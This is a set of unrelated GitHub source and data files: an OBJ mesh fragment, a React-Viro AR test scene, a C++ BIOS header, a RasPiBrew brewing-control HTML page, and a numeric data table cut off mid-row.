-0.721426 v -0.049543 -0.016487 0.128818 vn 0.545810 -0.416907 -0.726829 v -0.044043 0.016913 0.113818 vn 0.994492 -0.095169 0.043924 v -0.044043 0.016913 0.113818 vn 0.994490 -0.087223 0.058149 v -0.044043 0.018113 0.115618 vn 0.994492 -0.095169 0.043924 v -0.047943 -0.015487 0.131918 vn 0.994223 -0.103203 0.029487 v -0.047943 -0.016087 0.129818 vn 0.564944 0.306141 0.766235 v -0.044043 0.018113 0.115618 vn 0.555116 0.309424 0.772077 v -0.045643 0.018813 0.116518 vn 0.555116 0.309424 0.772077 v -0.047943 -0.015487 0.131918 vn 0.544890 0.312765 0.777993 v -0.049543 -0.015187 0.132918 vn -0.564910 0.585518 0.581417 v -0.045043 0.038013 0.097618 vn -0.525876 0.600424 0.602450 v -0.046643 0.037013 0.097218 vn -0.564910 0.585518 0.581417 v -0.047143 0.018113 0.115618 vn -0.601725 0.569775 0.559717 v -0.045643 0.018813 0.116518 vn -0.999809 0.012334 -0.015180 v -0.046643 0.037013 0.097218 vn -0.999809 0.012334 -0.015180 v -0.047143 0.016913 0.113818 vn -0.999814 0.016040 -0.010693 v -0.047143 0.018113 0.115618 vn -0.999761 0.008115 -0.020287 v -0.046643 0.035013 0.096418 vn -0.549078 -0.569406 -0.611793 v -0.046643 0.035013 0.096418 vn -0.519671 -0.580859 -0.626535 v -0.045043 0.034013 0.096018 vn -0.549078 -0.569406 -0.611793 v -0.045643 0.016213 0.113018 vn -0.577997 -0.557184 -0.596209 v -0.047143 0.016913 0.113818 vn 0.539146 -0.592020 -0.599027 v -0.045043 0.034013 0.096018 vn 0.525339 -0.598680 -0.604650 v -0.043443 0.035013 0.096418 vn 0.539146 -0.592020 -0.599027 v -0.044043 0.016913 0.113818 vn 0.552697 -0.585259 -0.593294 v -0.045643 0.016213 0.113018 vn 0.999725 -0.014799 0.018215 v -0.043443 0.035013 0.096418 vn 0.999725 -0.014799 0.018215 v -0.044043 0.018113 0.115618 vn 0.999705 -0.020196 0.013464 v -0.044043 0.016913 0.113818 vn 0.999690 -0.009242 0.023105 v -0.043443 0.037013 0.097218 vn 0.551101 0.574816 0.604875 v -0.043443 0.037013 0.097218 vn 0.522540 0.589775 0.615725 v -0.045043 0.038013 0.097618 vn 0.551101 0.574816 0.604875 v -0.045643 0.018813 0.116518 vn 0.578601 0.559438 0.593507 v -0.044043 0.018113 0.115618 vn -0.553863 0.828768 0.079874 v -0.043843 0.040513 0.080318 vn -0.553863 0.828768 0.079874 v -0.046643 0.037013 0.097218 vn -0.543020 0.835599 0.083085 v -0.045043 0.038013 0.097618 vn -0.564866 0.821622 0.076571 v -0.045443 0.039413 0.080318 vn -0.997387 0.010461 -0.071481 v -0.045443 0.039413 0.080318 vn -0.997058 -0.007267 -0.076301 v -0.045443 0.037313 0.080518 vn -0.997387 0.010461 -0.071481 v -0.046643 0.035013 0.096418 vn -0.997392 0.026806 -0.067014 v -0.046643 0.037013 0.097218 vn -0.555492 -0.816098 -0.159415 v -0.045443 0.037313 0.080518 vn -0.555492 -0.816098 -0.159415 v -0.045043 0.034013 0.096018 vn -0.551631 -0.818590 -0.160045 v -0.046643 0.035013 0.096418 vn -0.559342 -0.813588 -0.158781 v -0.043843 0.036213 0.080518 vn 0.553716 -0.829183 -0.076510 v -0.043843 0.036213 0.080518 vn 0.553716 -0.829183 -0.076510 v -0.043443 0.035013 0.096418 vn 0.542170 -0.836753 -0.076791 v -0.045043 0.034013 0.096018 vn 0.564880 -0.821645 -0.076222 v -0.042243 0.037313 0.080518 vn 0.997387 -0.010461 0.071481 v -0.042243 0.037313 0.080518 vn 0.997396 0.006837 0.071792 v -0.042243 0.039413 0.080318 vn 0.997387 -0.010461 0.071481 v -0.043443 0.037013 0.097218 vn 0.997061 -0.028454 0.071134 v -0.043443 0.035013 0.096418 vn 0.559651 0.814039 0.155342 v -0.042243 0.039413 0.080318 vn 0.555495 0.816755 0.156003 v -0.043843 0.040513 0.080318 vn 0.555495 0.816755 0.156003 v -0.043443 0.037013 0.097218 vn 0.551322 0.819452 0.156660 v -0.045043 0.038013 0.097618 vn -0.569729 0.717350 -0.401020 v -0.044343 0.032013 0.065518 vn -0.569729 0.717350 -0.401020 v -0.045843 0.031213 0.066218 vn -0.569729 0.717350 -0.401020 v -0.045443 0.039413 0.080318 vn -0.515831 0.750298 -0.413488 v -0.043843 0.040513 0.080318 vn -0.515831 0.750298 -0.413488 v -0.044343 0.032013 0.065518 vn -0.999669 0.010742 0.023381 v -0.045843 0.031213 0.066218 vn -0.999669 0.010742 0.023381 v -0.045443 0.037313 0.080518 vn -0.999636 0.002559 0.026870 v -0.045443 0.039413 0.080318 vn -0.999625 0.018726 0.019974 v -0.045843 0.029613 0.067718 vn -0.548261 -0.705331 0.449352 v -0.045843 0.029613 0.067718 vn -0.593907 -0.673505 0.440074 v -0.044343 0.028813 0.068518 vn -0.548261 -0.705331 0.449352 v -0.043843 0.036213 0.080518 vn -0.503986 -0.733069 0.456736 v -0.045443 0.037313 0.080518 vn 0.538514 -0.729177 0.422260 v -0.044343 0.028813 0.068518 vn 0.563504 -0.717436 0.409571 v -0.042743 0.029613 0.067718 vn 0.538514 -0.729177 0.422260 v -0.042243 0.037313 0.080518 vn 0.509829 -0.741570 0.436059 v -0.043843 0.036213 0.080518 vn 0.999414 -0.023402 -0.024962 v -0.042743 0.029613 0.067718 vn 0.999483 -0.013425 -0.029220 v -0.042743 0.031213 0.066218 vn 0.999483 -0.013425 -0.029220 v -0.042243 0.037313 0.080518 vn 0.999431 -0.003198 -0.033581 v -0.042243 0.039413 0.080318 vn 0.547250 0.717668 -0.430662 v -0.042743 0.031213 0.066218 vn 0.547250 0.717668 -0.430662 v -0.044343 0.032013 0.065518 vn 0.547250 0.717668 -0.430662 v -0.043843 0.040513 0.080318 vn 0.506856 0.737246 -0.446727 v -0.043843 0.040513 0.080318 vn 0.506856 0.737246 -0.446727 v -0.042243 0.039413 0.080318 vn 0.506856 0.737246 -0.446727 v -0.042743 0.031213 0.066218 vn -0.975117 0.176101 0.134666 v -0.048843 0.020113 0.058418 vn -0.973370 0.202859 0.106768 v -0.048843 0.019113 0.060318 vn -0.975117 0.176101 0.134666 v -0.045843 0.029613 0.067718 vn -0.975428 0.150684 0.160730 v -0.045843 0.031213 0.066218 vn -0.572750 -0.356558 0.738122 v -0.048843 0.019113 0.060318 vn -0.576286 -0.354954 0.736140 v -0.047243 0.018613 0.061318 vn -0.576286 -0.354954 0.736140 v -0.045843 0.029613 0.067718 vn -0.579928 -0.353291 0.734077 v -0.044343 0.028813 0.068518 vn 0.578043 -0.573854 0.580137 v -0.047243 0.018613 0.061318 vn 0.577687 -0.573989 0.580357 v -0.045743 0.019113 0.060318 vn 0.577687 -0.573989 0.580357 v -0.044343 0.028813 0.068518 vn 0.577344 -0.574119 0.580570 v -0.042743 0.029613 0.067718 vn 0.975117 -0.176101 -0.134666 v -0.045743 0.019113 0.060318 vn 0.976035 -0.192572 -0.101353 v -0.045743 0.020113 0.058418 vn 0.975117 -0.176101 -0.134666 v -0.042743 0.031213 0.066218 vn 0.972723 -0.158653 -0.169231 v -0.042743 0.029613 0.067718 vn 0.000000 0.950853 0.309644 v -0.065743 0.049013 0.123218 vn -0.583241 -0.297541 -0.755843 v -0.049543 -0.016487 0.128818 vn -0.515831 0.750298 -0.413488 v -0.045443 0.039413 0.080318 # 480 vertices, 0 vertices normals f 1//1 2//2 3//3 f 1//1 4//4 2//2 f 5//5 6//6 7//7 f 5//5 8//8 6//6 f 9//9 10//10 11//11 f 9//9 12//12 10//10 f 13//13 14//14 15//15 f 13//13 16//16 14//14 f 17//17 18//18 19//19 f 17//17 20//20 18//18 f 21//21 22//22 23//23 f 21//21 24//24 22//22 f 25//25 24//24 21//21 f 25//25 26//26 24//24 f 27//27 26//26 25//25 f 27//27 28//28 26//26 f 29//29 30//30 31//31 f 29//29 32//32 30//30 f 33//33 32//32 29//29 f 33//33 34//34 32//32 f 35//35 34//34 33//33 f 35//35 36//36 34//34 f 37//37 38//38 39//39 f 37//37 40//40 38//38 f 41//41 42//42 43//43 f 41//41 44//44 42//42 f 45//45 46//46 47//47 f 45//45 48//48 46//46 f 49//49 50//50 51//51 f 49//49 52//52 50//50 f 53//53 54//54 55//55 f 53//53 56//56 54//54 f 57//57 58//58 59//59 f 57//57 60//60 58//58 f 61//61 62//62 63//63 f 61//61 64//64 62//62 f 65//65 66//66 67//67 f 65//65 68//68 66//66 f 69//69 70//70 71//71 f 69//69 72//72 70//70 f 73//73 71//71 74//74 f 73//73 69//69 71//71 f 75//75 76//76 77//77 f 75//75 78//78 76//76 f 79//79 77//77 80//80 f 79//79 75//75 77//77 f 81//81 80//80 82//82 f 81//81 79//79 80//80 f 72//72 82//82 70//70 f 72//72 81//81 82//82 f 83//83 84//84 85//85 f 83//83 86//86 84//84 f 86//86 478//478 84//84 f 86//86 87//87 478//478 f 88//88 89//89 90//90 f 88//88 91//91 89//89 f 92//92 93//93 94//94 f 92//92 95//95 93//93 f 96//96 97//97 98//98 f 96//96 99//99 97//97 f 100//100 101//101 102//102 f 100//100 103//103 101//101 f 104//104 105//105 106//106 f 104//104 107//107 105//105 f 108//108 109//109 110//110 f 108//108 111//111 109//109 f 112//112 113//113 114//114 f 112//112 115//115 113//113 f 116//116 117//117 118//118 f 116//116 119//119 117//117 f 120//120 121//121 122//122 f 120//120 123//123 121//121 f 124//124 125//125 126//126 f 124//124 127//127 125//125 f 128//128 127//127 124//124 f 128//128 129//129 127//127 f 130//130 129//129 128//128 f 130//130 131//131 129//129 f 132//132 131//131 130//130 f 132//132 133//133 131//131 f 134//134 135//135 136//136 f 134//134 137//137 135//135 f 138//138 136//136 139//139 f 138//138 134//134 136//136 f 140//140 139//139 141//141 f 140//140 138//138 139//139 f 142//142 141//141 143//143 f 142//142 140//140 141//141 f 144//144 143//143 145//145 f 144//144 142//142 143//143 f 146//146 145//145 147//147 f 146//146 144//144 145//145 f 148//148 149//149 150//150 f 150//150 151//151 148//148 f 152//152 153//153 154//154 f 154//154 155//155 152//152 f 156//156 157//157 158//158 f 158//158 159//159 156//156 f 160//160 161//161 162//162 f 162//162 163//163 160//160 f 164//164 165//165 166//166 f 166//166 167//167 164//164 f 168//168 169//169 170//170 f 170//170 171//171 168//168 f 172//172 173//173 174//174 f 172//172 175//175 173//173 f 176//176 177//177 178//178 f 176//176 179//179 177//177 f 180//180 181//181 182//182 f 180//180 183//183 181//181 f 184//184 185//185 186//186 f 184//184 187//187 185//185 f 188//188 189//189 190//190 f 188//188 191//191 189//189 f 192//192 193//193 194//194 f 195//195 193//193 192//192 f 195//195 196//196 193//193 f 195//195 192//192 197//197 f 198//198 199//199 200//200 f 200//200 201//201 198//198 f 202//202 203//203 204//204 f 204//204 205//205 202//202 f 206//206 207//207 208//208 f 209//209 207//207 206//206 f 209//209 210//210 207//207 f 209//209 206//206 211//211 f 212//212 213//213 214//214 f 212//212 215//215 213//213 f 216//216 217//217 218//218 f 218//218 219//219 216//216 f 220//220 221//221 222//222 f 222//222 223//223 220//220 f 224//224 225//225 226//226 f 224//224 227//227 225//225 f 228//228 229//229 230//230 f 228//228 231//231 229//229 f 232//232 233//233 234//234 f 234//234 235//235 232//232 f 236//236 237//237 238//238 f 238//238 239//239 236//236 f 240//240 241//241 242//242 f 240//240 243//243 241//241 f 244//244 245//245 246//246 f 244//244 247//247 245//245 f 248//248 249//249 250//250 f 248//248 251//251 249//249 f 252//252 253//253 254//254 f 252//252 255//255 253//253 f 256//256 257//257 258//258 f 256//256 259//259 257//257 f 260//260 261//261 262//262 f 260//260 263//263 261//261 f 264//264 265//265 266//266 f 266//266 267//267 264//264 f 268//268 269//269 270//270 f 270//270 271//271 268//268 f 272//272 273//273 274//274 f 274//274 275//275 272//272 f 276//276 277//277 278//278 f 278//278 279//279 276//276 f 280//280 281//281 282//282 f 282//282 283//283 280//280 f 284//284 285//285 286//286 f 286//286 287//287 284//284 f 288//288 289//289 290//290 f 290//290 291//291 288//288 f 292//292 293//293 294//294 f 292//292 295//295 293//293 f 296//296 297//297 298//298 f 296//296 299//299 297//297 f 300//300 301//301 302//302 f 300//300 303//303 301//301 f 304//304 305//305 306//306 f 304//304 307//307 305//305 f 308//308 309//309 310//310 f 310//310 311//311 308//308 f 312//312 313//313 314//314 f 315//315 316//316 317//317 f 318//318 319//319 320//320 f 320//320 321//321 318//318 f 322//322 323//323 324//324 f 322//322 325//325 323//323 f 326//326 327//327 328//328 f 328//328 329//329 326//326 f 330//330 331//331 332//332 f 332//332 333//333 330//330 f 334//334 335//335 336//336 f 336//336 337//337 334//334 f 338//338 339//339 340//340 f 338//338 341//341 339//339 f 342//342 343//343 344//344 f 344//344 345//345 342//342 f 346//346 347//347 348//348 f 346//346 349//349 347//347 f 350//350 351//351 352//352 f 350//350 353//353 351//351 f 354//354 355//355 356//356 f 356//356 357//357 354//354 f 358//358 359//359 360//360 f 360//360 361//361 358//358 f 362//362 363//363 364//364 f 364//364 365//365 362//362 f 366//366 367//367 368//368 f 368//368 369//369 366//366 f 370//370 371//371 372//372 f 479//479 373//373 374//374 f 375//375 376//376 377//377 f 375//375 378//378 376//376 f 379//379 380//380 381//381 f 381//381 382//382 379//379 f 383//383 384//384 385//385 f 385//385 384//384 386//386 f 387//387 388//388 389//389 f 389//389 390//390 387//387 f 391//391 392//392 393//393 f 391//391 394//394 392//392 f 395//395 396//396 397//397 f 397//397 398//398 395//395 f 399//399 400//400 401//401 f 401//401 402//402 399//399 f 403//403 404//404 405//405 f 403//403 406//406 404//404 f 407//407 408//408 409//409 f 409//409 410//410 407//407 f 411//411 412//412 413//413 f 411//411 414//414 412//412 f 415//415 416//416 417//417 f 417//417 418//418 415//415 f 419//419 420//420 421//421 f 419//419 422//422 420//420 f 423//423 424//424 425//425 f 423//423 426//426 424//424 f 427//427 428//428 429//429 f 429//429 430//430 427//427 f 431//431 432//432 433//433 f 433//433 432//432 434//434 f 435//435 436//436 437//437 f 480//480 438//438 439//439 f 440//440 441//441 442//442 f 440//440 443//443 441//441 f 444//444 445//445 446//446 f 446//446 447//447 444//444 f 448//448 449//449 450//450 f 450//450 451//451 448//448 f 452//452 453//453 454//454 f 454//454 453//453 455//455 f 456//456 457//457 458//458 f 459//459 460//460 461//461 f 462//462 463//463 464//464 f 464//464 465//465 462//462 f 466//466 467//467 468//468 f 468//468 467//467 469//469 f 470//470 471//471 472//472 f 472//472 471//471 473//473 f 474//474 475//475 476//476 f 476//476 477//477 474//474 # 256 faces, 0 coords texture # End of File
{ "pile_set_name": "Github" }
/** * Copyright (c) 2017-present, Viro Media, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ import React, { Component } from 'react'; import { AppRegistry, StyleSheet, Text, View } from 'react-native'; import { ViroScene, ViroARScene, ViroARPlane, ViroBox, ViroMaterials, ViroNode, ViroOrbitCamera, ViroImage, ViroVideo, ViroSkyBox, Viro360Video, ViroText, ViroQuad } from 'react-viro'; import TimerMixin from 'react-timer-mixin'; var createReactClass = require('create-react-class'); var testARScene = createReactClass({ mixins: [TimerMixin], getInitialState: function() { return { text : "not tapped", count: 1, } }, render: function() { return ( <ViroARScene ref="arscene" reticleEnabled={false}> <ViroVideo height={.2} width={.2} position={[0,.15,-.5]} onClick={()=>{this._onTap(); this._addOneBox()}} source={{"uri":"https://s3-us-west-2.amazonaws.com/viro/Climber1Top.mp4"}} transformConstraints={"billboard"} /> <ViroText style={styles.welcome} position={[0, .5, -1]} text={this.state.text} /> <ViroBox width={2} height={.1} length={2} position={[0,-1,-1]} rotation={[0,0,0]} physicsBody={{ type:'static', restitution:0.8 }} onClick={this._addOneBox} materials={"blue"}/> {this._getBoxes()} </ViroARScene> ); }, _getBoxes() { let prefix = "box" let boxes = []; for (var i = 0; i < this.state.count; i++) { boxes.push((<ViroBox key={prefix + i} position={[0,2,-1]} width={.3} height={.3} length={.3} onDrag={()=>{}} physicsBody={{ type:'dynamic', mass:1 }} />)); } return boxes; }, _addOneBox() { this.setState({ count : this.state.count + 1 }) }, _onTap() { this.setState({ text : "tapped!" }) this.setTimeout( () => { this.setState({ text : "not tapped" }); }, 1000); }, _onLoadStart(component) { return () => { console.log("scene1 " + component + " load start"); } }, _onLoadEnd(component) { return () => { console.log("scene1 " + component + " load end"); } }, _onFinish(component) { return () => { console.log("scene1 " + component + " finished"); } } }); const styles = StyleSheet.create({ container: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#FFFFFF', }, welcome: { fontSize: 13, textAlign: 'center', color: '#ffffff', margin: 2, }, instructions: { textAlign: 'center', color: '#333333', marginBottom: 5, }, }); ViroMaterials.createMaterials({ blue: { shininess: 2.0, lightingModel: "Constant", diffuseColor: "#0000ff" }, black: { shininess: 2.0, lightingModel: "Lambert", diffuseColor: "#000000" }, red: { shininess: 2.0, lightingModel: "Lambert", diffuseColor: "#ff0000" }, wework_title: { shininess: 1.0, lightingModel: "Constant", diffuseTexture: {"uri": "https://s3-us-west-2.amazonaws.com/viro/guadalupe_360.jpg"}, diffuseTexture: require("../res/new_menu_screen.jpg"), fresnelExponent: .5, }, box_texture: { diffuseTexture: require("../res/sun_2302.jpg"), } }); module.exports = testARScene;
{ "pile_set_name": "Github" }
#include <Source/HwLayer/Types.h> #include <Source/HwLayer/Bios.h> extern "C" void __cxa_pure_virtual() { _ASSERT(!!!"Pure virtual call"); while(1);} extern "C" { #include "BIOS.h" } #include "../bios/core.h" #include "../bios/font.h" #include "../bios/lcd.h" #include "../bios/key.h" #include "../bios/adc.h" #include "../bios/gen.h" #include "../bios/files.h" #include "../bios/serial.h" #include "../bios/ver.h" #include "../bios/mouse.h" #include "../bios/gpio.h" #ifdef _VERSION2 #include "../bios/flash.h" #include "../bios/fat.h" #endif extern "C" { #include "../bios/crash.h" }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <!-- FuelUX attribute --> <head> <meta charset="utf-8"> <title>RasPiBrew</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Bootstrap --> <link type="text/css" href="static/external/bootstrap-3.0.3/css/bootstrap.min.css" rel="stylesheet"> <link type="text/css" href="static/external/css-toggle-switch/toggle-switch.css" rel="stylesheet"> <link type="text/css" href="static/raspibrew_bootstrap.css" rel="stylesheet"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="page-header"> <h1>RasPiBrew</h1> </div> <div class="row"> <div class="col-xs-5"> <table id="dataTable" class="table table-bordered table-condensed table-responsive style="border-collapse:collapse;""> <thead> <tr> <th class="col-xs-4">Vessel</th> <th class="col-xs-4">Temp</th> <th class="col-xs-4">Heat Output</th> </tr> </thead> <tbody> <tr id="firstRow" data-toggle="collapse" data-target="#extra_data_info1" class="selectRow row-highlight accordion-toggle"> <td align="center"><h5>vessel1</h5></td> <td align="center"><h5><span id="tempResponse">60</span><span id="tempResponseUnits">&degF</span></h5></td> <td align="center"><h5><span id="dutycycleResponse">0</span><span id="dutyCycleUnits"> </span></h5></td> </tr> <tr> <td colspan="3" class="hiddenRow" id="vessel1"> <div class="accordian-body collapse" id="extra_data_info1"> <div class="voffset15"></div> Mode:<span id="modeResponse" class="label label-default"></span> <br> Cycle Time(sec): <span id="cycletimeResponse" class="label label-default"></span> <br> Set Point(<span id="setpointResponseUnits"></span>): <span id="setpointResponse" class="label label-default"></span> <br> Kc:<span id="k_paramResponse" class="label label-default"></span> Ti:<span id="i_paramResponse" class="label label-default"></span> Td:<span id="d_paramResponse" class="label label-default"></span> <div class="voffset15"></div> </div></td> </tr> <tr id="secondRow" data-toggle="collapse" data-target="#extra_data_info2" class="selectRow accordion-toggle"> <td align="center"><h5>vessel2</h5></td> <td align="center"><h5><span id="tempResponse2"></span><span id="tempResponseUnits2"> </span></h5></td> <td align="center"><h5><span id="dutycycleResponse2"></span><span id="dutyCycleUnits2"> </span></h5></td> </tr> <tr> <td colspan="3" class="hiddenRow" id="vessel2"> <div class="accordian-body collapse" id="extra_data_info2"> <div class="voffset15"></div> Mode:<span id="modeResponse2" class="label label-default"></span> <br> Cycle Time(sec): <span id="cycletimeResponse2" class="label label-default"></span> <br> Set Point(<span id="setpointResponseUnits2"></span>): <span id="setpointResponse2" class="label label-default"></span> <br> Kc:<span id="k_paramResponse2" class="label label-default"></span> Ti:<span id="i_paramResponse2" class="label label-default"></span> Td:<span id="d_paramResponse2" class="label label-default"></span> <div class="voffset15"></div> </div></td> </tr> <tr id="thirdRow" data-toggle="collapse" data-target="#extra_data_info3" class="selectRow accordion-toggle"> <td align="center"><h5>vessel3</h5></td> <td align="center"><h5><span id="tempResponse3"></span><span id="tempResponseUnits3"> </span></h5></td> <td align="center"><h5><span id="dutycycleResponse3"></span><span id="dutyCycleUnits3"> </span></h5></td> </tr> <tr> <td colspan="3" class="hiddenRow" id="vessel3"> <div class="accordian-body collapse" id="extra_data_info3"> <div class="voffset15"></div> Mode:<span id="modeResponse3" class="label label-default"></span> <br> Cycle Time(sec): <span id="cycletimeResponse3" class="label label-default"></span> <br> Set Point(<span id="setpointResponseUnits3"></span>): <span id="setpointResponse3" class="label label-default"></span> <br> Kc:<span id="k_paramResponse3" class="label label-default"></span> Ti:<span id="i_paramResponse3" class="label label-default"></span> Td:<span id="d_paramResponse3" class="label label-default"></span> <div class="voffset15"></div> </div></td> </tr> </tbody> </table> <div class="voffset20"></div> <fieldset class="border"> <legend class="border"> PID Control Panel </legend> <div class="voffset10"></div> <form id="controlPanelForm" method="post" class="form-horizontal" role="form"> <div class="row"> <div class="form-group"> <div class="btn-group col-sm-offset-3" data-toggle="buttons"> <label class="btn btn-primary"> <input type="radio" name="mode" id="auto" value="auto"> Auto </label> <label class="btn btn-primary"> <input type="radio" name="mode" id="manual" value="manual"> Manual </label> <label class="btn btn-primary active"> <input type="radio" name="mode" id="off" value="off" checked> Off </label> </div> </div> </div> <div class="row"> <div class="form-group"> <label for="setpoint" class="col-xs-4 control-label">Set Point:</label> <div class="input-group col-xs-4"> <input type="number" step="any" name="setpoint" class="form-control" id="setpoint" value={{set_point}}> <span id="setpointInputUnits" class="input-group-addon"></span> </div> <div class="col-xs-4"></div> </div> <div class="form-group"> <label for="dutycycle" class="col-xs-4 control-label">Duty Cycle:</label> <div class="input-group col-xs-4"> <input name="dutycycle" id="dutycycle" type="number" step="any" class="form-control" value={{duty_cycle}}> <span class="input-group-addon">%</span> </div> <div class="col-xs-4"></div> </div> <div class="form-group"> <label for="cycletime" class="col-xs-4 control-label">Cycle Time:</label> <div class="input-group col-xs-4"> <input name="cycletime" type="number" step="any" class="form-control" id="cycletime" value={{cycle_time}}> <span class="input-group-addon">sec</span> </div> <div class="col-xs-4"></div> </div> </div> <div class="row"> <div class="form-inline"> <div class="col-xs-1"></div> <div class="form-group col-xs-3"> <label for="kc_param" class="control-label">Kc:</label> <div class="input-group"> <input name="k" type="number" step="any" class="form-control" id="kc_param" value={{k_param}}> </div> </div> <div class="form-group col-xs-3"> <label for="ti_param" class="control-label">Ti:</label> <div class="input-group"> <input name="i" type="number" step="any" class="form-control" id="ti_param" value={{i_param}}> </div> </div> <div class="form-group col-xs-3"> <label for="td_param" class="control-label">Td:</label> <div class="input-group"> <input name="d" type="number" step="any" class="form-control " id="td_param" value={{d_param}}> </div> </div> <div class="col-xs-2"></div> </div> </div> <div class="voffset20"></div> <div class="row"> <div class="form-group"> <div class="col-xs-offset-3"> <button id = "sendcommand" type="submit" class="btn btn-info"> Send Command </button> </div> </div> </div> </form> </fieldset> </div> <div class="col-xs-7 hidden-xs"> <fieldset class="border"> <legend class="border"> Line Plots </legend> <div class="row"> <div class="ControlResponse" id="tempheatplots"> <div class="tempdata"> <p class="plottitle"> Temperature Plot </p> <div id="tempplot" align=left style="width:500px;height:125px;"></div> <p class="plottitle"> Heat Plot </p> <div id="heatplot" align=left style="width:500px;height:125px;"></div> <br/> Window Size: <input id="windowSizeText" type="text" name="windowSize" maxlength = "6" size ="6" value=1000000 style="text-align: right;"/> <br> <button class="btn btn-default" id = "stop"> Stop Capture </button> <button class="btn btn-default" id = "restart"> Restart Capture </button> <!-- <button id = "calcpid">Calculate PID</button> --> </div> </div> </fieldset> </div> <div class="row"> <fieldset class="border"> <legend class="border"> GPIO Control Panel </legend> <div class="voffset15"></div> <label id="GPIO_label1" class="switch-light well col-xs-3" onclick=""> <input id="GPIO1" type="checkbox"> <span>PUMP/STIR1:<span>Off</span> <span>On</span> </span> <a id="GPIO_Color1" class="btn btn-danger"></a> </label> <label id="GPIO_label2" class="switch-light well col-xs-3" onclick=""> <input id="GPIO2" type="checkbox"> <span>&nbsp&nbspPUMP/STIR2:&nbsp&nbsp<span>Off</span> <span>On</span> </span> <a id="GPIO_Color2" class="btn btn-danger"></a> </label> </fieldset> </div> </div> </div> <div class="row"> <div class="col-xs-4"> </div> </div> <!-- row --> </div><!-- /.container --> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script type="text/javascript" src="static/external/jquery-2.0.3/jquery-2.0.3.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script type="text/javascript" src="static/external/bootstrap-3.0.3/js/bootstrap.min.js"></script> <script type="text/javascript" src="static/external/flot-0.8.2/jquery.flot.js"></script> <script type="text/javascript" src="static/external/flot-0.8.2/jquery.flot.selection.js"></script> <script type="text/javascript" src="static/raspibrew_bootstrap.js"></script> </body> </html>
{ "pile_set_name": "Github" }
-0.622799993 1.00000002E-24 -0.610800028 1.00000002E-24 -0.598800004 1.00000002E-24 -0.586799979 1.00000002E-24 -0.574800014 1.00000002E-24 -0.562799990 1.00000002E-24 -0.550800025 1.00000002E-24 -0.538800001 1.00000002E-24 -0.526799977 1.00000002E-24 -0.514800012 1.00000012E-24 -0.502799988 1.00000022E-24 -0.490799993 1.00000032E-24 -0.478799999 1.00000032E-24 -0.466800004 1.00000032E-24 -0.454800010 1.00000032E-24 -0.442799985 1.00000032E-24 -0.430799991 1.00000032E-24 -0.418799996 1.00000032E-24 -0.406800002 1.00000032E-24 -0.394800007 1.00000022E-24 -0.382800013 9.99999921E-25 -0.370799989 9.99999132E-25 -0.358799994 9.99997061E-25 -0.346799999 9.99992624E-25 -0.334800005 9.99984933E-25 -0.322800010 9.99974875E-25 -0.310799986 9.99968465E-25 -0.298799992 9.99983355E-25 -0.286799997 1.00005406E-24 -0.274800003 1.00023194E-24 -0.262800008 1.00057185E-24 -0.250800014 1.00109654E-24 -0.238800004 1.00173906E-24 -0.226799995 1.00227647E-24 -0.214800000 1.00228693E-24 -0.202800006 1.00115481E-24 -0.190799996 9.98110500E-25 -0.178800002 9.92211201E-25 -0.166800007 9.82099188E-25 -0.154799998 9.65457280E-25 -0.142800003 9.38480209E-25 -0.130799994 8.96523655E-25 -0.118799999 8.38157612E-25 -0.106799997 7.75377350E-25 -9.48000029E-02 7.51286080E-25 -8.28000009E-02 8.61457506E-25 -7.07999989E-02 1.26560702E-24 -5.88000007E-02 2.16402039E-24 -4.67999987E-02 3.70482213E-24 -3.48000005E-02 5.79508541E-24 -2.28000004E-02 7.82463322E-24 -1.08000003E-02 8.38484595E-24 1.20000006E-03 5.16761322E-24 1.31999999E-02 -4.67493330E-24 2.52000000E-02 -2.34114037E-23 3.72000001E-02 -5.07052211E-23 4.91999984E-02 -8.09290257E-23 6.12000003E-02 -1.00703875E-22 7.32000023E-02 -8.82804962E-23 8.51999968E-02 -1.68769360E-23 9.71999988E-02 1.36137513E-22 0.109200001 3.73762701E-22 0.121200003 6.60038531E-22 0.133200005 9.03328182E-22 0.145199999 9.52625804E-22 0.157199994 6.19153372E-22 0.169200003 -2.67205844E-22 0.181199998 -1.76638038E-21 0.193200007 -3.71729434E-21 0.205200002 -5.64355120E-21 0.217199996 -6.72871766E-21 0.229200006 -5.91943209E-21 0.241200000 -2.19735925E-21 0.253199995 4.98461137E-21 0.265199989 1.51781616E-20 0.277200013 2.64858579E-20 0.289200008 3.54010393E-20 0.301200002 3.71745953E-20 0.313199997 2.68640588E-20 0.325199991 1.03964365E-21 0.337199986 -4.01433724E-20 0.349200010 -9.10835779E-20 0.361200005 -1.39869857E-19 0.373199999 -1.69214076E-19 0.385199994 -1.59700504E-19 0.397199988 -9.52780040E-20 0.409200013 2.99063370E-20 0.421200007 2.05086237E-19 0.433200002 3.99201836E-19 0.445199996 5.62294013E-19 0.457199991 6.33466132E-19 0.469199985 5.55270991E-19 0.481200010 2.92206540E-19 0.493200004 -1.51116502E-19 0.505200028 -7.17895888E-19 0.517199993 -1.29871802E-18 0.529200017 -1.74627940E-18 0.541199982 -1.90492602E-18 0.553200006 -1.65000147E-18 0.565199971 -9.27819232E-19 0.577199996 2.15025626E-19 0.589200020 1.62313040E-18 0.601199985 3.04994871E-18 0.613200009 4.19980442E-18 0.625199974 4.78479647E-18 0.637199998 4.58201315E-18 0.649200022 3.47625548E-18 0.661199987 1.47905860E-18 0.673200011 -1.27514689E-18 0.685199976 -4.54441862E-18 0.697200000 -7.98904105E-18 0.709200025 -1.11621142E-17 0.721199989 -1.34821903E-17 0.733200014 -1.42117107E-17 0.745199978 -1.24865337E-17 0.757200003 -7.44998233E-18 0.769200027 1.47239286E-18 0.781199992 1.41690315E-17 0.793200016 2.93941245E-17 0.805199981 4.44366223E-17 0.817200005 5.51181643E-17 0.829200029 5.63189493E-17 0.841199994 